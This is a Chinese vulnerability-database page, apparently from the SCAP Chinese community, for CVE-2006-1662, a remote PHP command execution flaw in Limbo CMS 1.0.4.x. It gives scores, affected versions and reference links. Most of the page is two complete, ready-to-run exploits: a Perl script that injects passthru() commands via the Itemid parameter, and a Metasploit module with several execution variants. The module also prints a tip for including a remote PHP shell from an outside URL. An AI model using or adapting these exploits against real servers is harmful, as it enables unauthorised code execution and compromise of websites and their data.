CVE-2006-1662
CVSS7.5
发布时间 :2006-04-07 06:04:00
修订时间 :2008-09-05 17:02:30
NMCOE    

[原文]The frontpage option in Limbo CMS 1.0.4.2 and 1.0.4.1 allows remote attackers to execute arbitrary PHP commands via the Itemid parameter in index.php.


[CNNVD]Limbo CMS Frontpage index.php PHP命令执行漏洞(CNNVD-200604-086)

        Limbo CMS 1.0.4.2和1.0.4.1中的frontpage选项可让远程攻击者执行任意的PHP命令,方式是通过index.php的ltemid参数。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:limbo_cms:limbo_cms:1.0.4.2
cpe:/a:limbo_cms:limbo_cms:1.0.4.1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1662
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-1662
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200604-086
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/archive/1/archive/1/429946/100/0/threaded
(PATCH)  BUGTRAQ  20060404 Re: Limbo CMS code execution
http://www.securityfocus.com/bid/16902
(UNKNOWN)  BID  16902
http://www.securityfocus.com/archive/1/426428
(UNKNOWN)  BUGTRAQ  20060228 Limbo CMS code execution
http://xforce.iss.net/xforce/xfdb/24992
(UNKNOWN)  XF  limbocms-index-code-execution(24992)
http://securityreason.com/securityalert/519
(UNKNOWN)  SREASON  519
http://archives.neohapsis.com/archives/fulldisclosure/2006-02/0728.html
(UNKNOWN)  FULLDISC  20060228 Limbo CMS code execution

- 漏洞信息

Limbo CMS Frontpage index.php PHP命令执行漏洞
高危 输入验证
2006-04-07 00:00:00 2006-04-07 00:00:00
远程  
        Limbo CMS 1.0.4.2和1.0.4.1中的frontpage选项可让远程攻击者执行任意的PHP命令,方式是通过index.php的ltemid参数。

- 公告与补丁

        目前厂商还没有提供补丁或者升级程序,建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        http://www.limbo-cms.com/
        

- 漏洞信息 (1541)

Limbo CMS <= 1.0.4.2 (ItemID) Remote Code Execution Exploit (EDBID:1541)
php webapps
2006-03-01 Verified
0 str0ke
N/A [点击下载]
#!/usr/bin/perl
##
## Limbo CMS <= 1.0.4.2 (ItemID) Remote Code Execution Exploit
## Bug Discovered by: Coloss / Epsilon (advance1[at]gmail.com) http://coded.altervista.org/limbophp.pl
## /str0ke (milw0rm.com)

use LWP::Simple;

$serv     =  $ARGV[0];
$path     =  $ARGV[1];
$command  =  $ARGV[2];
$cmd      =  "echo start_er;".
             "$command;".
             "echo end_er";

my $byte = join('.', map { $_ = 'chr('.$_.')' } unpack('C*', $cmd));

sub usage
{
        print "Limbo CMS <= 1.0.4.2 (ItemID) Remote Code Execution Exploit /str0ke (milw0rm.com)";
        print "Usage: $0 www.example.com /directory/ \"cat config.php\"\n";
        print "sever    -  URL\n";
        print "path     -  path to limbo\n";
        print "command  -  command to execute\n";
        exit ();
}

sub exploit
{
        print qq(Limbo CMS <= 1.0.4.2 (ItemID) Remote Code Execution Exploit\n/str0ke (milw0rm.com)\n\n);
        $URL = sprintf("http://%s%sindex.php?option=frontpage&Itemid=passthru($byte)",$serv,$path);
        my $content = get "$URL";
        if ($content =~ m/start_er(.*?)end_er/ms) {
                my $out = $1;
                $out =~ s/^\s+|\s+$//gs;
                if ($out) {
                        print "$out\n";
                }
        }
}

if (@ARGV != 3){&usage;}else{&exploit;}

# milw0rm.com [2006-03-01]
		

- 漏洞信息 (1563)

Limbo CMS <= 1.0.4.2 (ItemID) Remote Code Execution Exploit (meta) (EDBID:1563)
php webapps
2006-03-07 Verified
0 sirh0t
N/A [点击下载]
##
#      Title: Limbo CMS version 1.x suffers from a remote code execution vulnerability. 
#    Name: limbo_cms_1_x.pm
# License: Artistic/BSD/GPL
#         Info: Trying to get the command execution exploits out of the way on milw0rm.com. M's are always good.
#
#
#  - This is an exploit module for the Metasploit Framework, please see
#     http://metasploit.com/projects/Framework for more information.
##

package Msf::Exploit::limbo_cms_1_x;
use base "Msf::Exploit";
use strict;
use Pex::Text;
use bytes;

my $advanced = { };

my $info = {
	'Name'     => 'Limbo CMS version 1.x Code Execution',
	'Version'  => '$Revision: 1.1 $',
	'Authors'  => [ 'sirh0t < sirh0t [at] hotmail.com >' ],
	'Arch'     => [ ],
	'OS'       => [ ],
	'Priv'     => 0,
	'UserOpts' =>
	  {
		'RHOST' => [1, 'ADDR', 'The target address'],
		'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
		'RPORT' => [1, 'PORT', 'The target port', 80],
		'RPATH' => [1, 'DATA', 'Path to the index.php script', ' /limbo/index.php'],
		'SSL'   => [0, 'BOOL', 'Use SSL'],
	  },

	'Description' => Pex::Text::Freeform(qq{
			This module exploits an arbitrary PHP code execution flaw in the Limbo version 1.*. All versions UNPATCHED Limbo 1.x are affected. Bug found by Aleksander Hristov
}),
#milw0rm this is your part ;p
	'Refs' =>
	  [
		['OSVDB', '-----'],
		['CVE',   '---------'],
		['MIL',   '125'],
	  ],

	'Payload' =>
	  {
		'Space' => 512,
		'Keys'     => ['cmd', 'cmd_bash'],
	  },

	'DefaultTarget' => 1,
	'Targets' =>
	  [
		['Vulnerably test',0],
		['use system()', 1],
		['use exec()', 2],
		['use shell_exec()',3],
		['use passthru()',4],
	  ],


	'Keys' => ['limbo'],

	'DisclosureDate' => 'Mar 03 2006',
  };

sub new {
	my $class = shift;
	my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
	return($self);
}

sub Exploit {
	my $self = shift;
	my $target_host    = $self->GetVar('RHOST');
	my $vhost          = $self->GetVar('VHOST') || $target_host;
	my $target_port = $self->GetVar('RPORT');
	my $target_idx  = $self->GetVar('TARGET');
	my $target      = $self->Targets->[$target_idx];
	my $path           = $self->GetVar('RPATH');
	my $cmd            = $self->GetVar('EncodedPayload')->RawPayload;
	my ($data);

	# Add an echo on each end for easy output capturing
	$cmd = "echo _cmd_beg_;".$cmd.";echo _cmd_end_";

	# Replacing all spaces with %20
	$cmd =~ s/ /%20/g;

	# Create the get request data
	if ($target_idx == 0) {
		$data = "?option=frontpage&Itemid=phpinfo()";
	} elsif($target_idx == 1) {
		$data = "?option=frontpage&Itemid=system(\$_GET[m])&m=$cmd";
	} elsif($target_idx == 2) {
		$data = "?option=frontpage&Itemid=exec(\$_GET[m])&m=$cmd";
	} elsif($target_idx == 3) {
		$data = "?option=frontpage&Itemid=shell_exec(\$_GET[m])&m=$cmd";
	} elsif($target_idx == 4) {
		$data = "?option=frontpage&Itemid=passthru(\$_GET[m])&m=$cmd";
	}

	my $req =
	  "GET $path$data HTTP/1.1\r\n".
	  "Accept: */*\r\n".
	  "User-Agent: Mozilla/4.0 (MetaSploit)\r\n".
	  "Host: $vhost\r\n".
	  "Connection: Close\r\n".
	  "\r\n";

	my $s = Msf::Socket::Tcp->new(
		'PeerAddr'  => $target_host,
		'PeerPort'  => $target_port,
		'SSL'       => $self->GetVar('SSL'),
	  );

	if ($s->IsError){
		$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
		return;
	}

	$self->PrintLine("[*] Sending the malicious Limbo request...");

	$s->Send($req);
	my $results = $s->Recv(-1, 20);
	$s->Close();

	if ($target_idx == 0) {
	if ($results =~ /disable_functions/) {
		$self->PrintLine("[*] Server is vuln!");
		if ($results =~ /system()/) {
			$self->PrintLine("[?] system() is disabled");
		}
		if ($results =~ /shell_exec()/) {
			$self->PrintLine("[?] shell_exec() is disabled");
		}
		if ($results =~ /passthru()/) {
			$self->PrintLine("[?] shell_exec() is disabled");
		}
		if ($results =~ /exec()/) {
			$self->PrintLine("[?] exec() is disabled");
		}
			$self->PrintLine("[*] If safe_mode=on try $vhost$path?option=frontpage&Itemid=include(\$_GET[m])&m=http://PHPSHELL?&");

	} else {
	 	$self->PrintLine("[-] Server NOT vuln!");
	} 
	} elsif ($results =~ m/_cmd_beg_(.*)_cmd_end_/ms) {
		my $out = $1;
		$out =~ s/^\s+|\s+$//gs;
		if ($out) {
			$self->PrintLine('----------------------------------------');
			$self->PrintLine('');
			$self->PrintLine($out);
			$self->PrintLine('');
			$self->PrintLine('----------------------------------------');
		}
	} else {
		$self->PrintLine('[-] exploit failed');
	}

	return;
}

1;

# milw0rm.com [2006-03-07]
		

- 漏洞信息

23699
Limbo CMS index.php Itemid Variable Arbitrary Command Execution
Remote / Network Access

- 漏洞描述

Unknown or Incomplete

- 时间线

2006-02-28 Unknow
2006-02-28 Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站